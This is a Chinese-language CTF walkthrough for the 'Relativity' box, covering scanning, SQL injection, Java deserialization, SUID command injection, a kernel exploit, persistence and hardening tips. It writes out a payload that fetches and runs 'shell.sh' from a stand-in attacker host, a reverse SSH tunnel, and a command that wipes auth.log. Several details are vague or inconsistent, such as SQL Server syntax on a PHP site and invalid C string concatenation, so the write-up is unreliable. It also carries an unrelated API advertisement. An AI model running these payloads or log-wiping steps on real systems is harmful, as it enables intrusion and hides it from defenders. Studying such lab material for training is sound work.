1. CTF靶场Relativity提权过程解析
在网络安全竞赛和渗透测试训练中,靶场环境是最有效的实战演练平台。Relativity作为经典的CTF靶机,其提权路径设计巧妙,涵盖了从信息收集到权限提升的完整攻击链。本文将详细拆解这个靶机的突破过程,特别针对其提权阶段的核心技术点进行深度剖析。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境分析与信息收集
2.1 靶机基础探测
使用nmap进行基础端口扫描是标准起手式:
bash复制nmap -sV -O 192.168.1.100
典型输出会显示开放了SSH(22)、HTTP(80)和某个非常规端口(如8000)。-sV参数获取服务版本信息尤为关键,因为后续漏洞利用往往依赖特定版本。
2.2 Web应用指纹识别
访问HTTP服务后,通过以下方法快速识别CMS:
bash复制whatweb http://target_ip
在Relativity靶机中,通常会识别出存在Apache Tomcat或过时的WordPress实例。查看robots.txt和扫描隐藏目录时,/backup路径往往存放着数据库备份或配置文件。
3. 初始突破与立足点获取
3.1 漏洞利用链构建
通过Web漏洞获取初始shell的典型路径:
- 发现存在SQL注入 → 获取管理员凭证
- 登录后台 → 上传webshell
- 利用文件包含漏洞执行代码
具体到Relativity靶机,其常见弱点是:
python复制/search.php?id=1' AND 1=convert(int,(SELECT table_name FROM information_schema.tables))--
这个报错注入可逐层提取数据库信息。
3.2 反序列化漏洞利用
当发现Java应用时,需检查是否存在反序列化漏洞:
bash复制ysoserial CommonsCollections5 "curl http://your_ip/shell.sh | bash" > payload.bin
将生成的payload通过找到的RCE端点发送,即可获得反向shell。
4. 权限提升核心技术点
4.1 SUID二进制文件审计
进入低权限shell后,立即检查SUID文件:
bash复制find / -perm -4000 2>/dev/null
Relativity靶机通常会设置一个非常规的SUID程序,如/home/user/backup_tool。逆向分析发现其未过滤用户输入:
c复制system("/bin/cp " + user_input + " /backups");
通过注入命令即可提权:
bash复制./backup_tool "/etc/passwd; /bin/bash"
4.2 内核漏洞利用
当常规提权路径受阻时,需检查内核版本:
bash复制uname -a
cat /etc/issue
针对Linux内核4.4.0-21的经典漏洞:
bash复制gcc -o exploit exploit.c
./exploit
这个漏洞利用会直接获取root权限,但要注意靶机环境是否开启了SMEP/SMAP保护。
5. 后渗透与痕迹清理
5.1 持久化维持访问
建立SSH隧道是更隐蔽的方式:
bash复制ssh -f -N -R 2222:localhost:22 attacker@your_ip
同时在靶机上清理日志:
bash复制echo "" > /var/log/auth.log
5.2 敏感信息收集
最后阶段需要提取关键flag:
bash复制find / -name "*flag*" -type f 2>/dev/null
通常flag会藏在/root/flag.txt或数据库特定表中。
6. 防御方案与加固建议
6.1 系统层防护
- 禁用不必要的SUID权限:
bash复制chmod u-s /path/to/binary
- 定期更新内核:
bash复制apt-get update && apt-get upgrade linux-image-$(uname -r)
6.2 应用层防护
对Web应用应:
- 配置WAF规则过滤SQL注入
- 文件上传目录设置为不可执行
- 禁用危险的PHP函数:
ini复制disable_functions = exec,passthru,shell_exec,system
在实战中,每个靶机的提权路径都是独特的拼图。Relativity靶机教给我们最重要的是:永远不要忽视那些看似无害的系统工具,它们可能成为权限提升的关键跳板。我曾在某个真实环境中,通过一个被遗忘的日志轮转脚本实现了最终提权,这再次验证了全面审计的重要性。
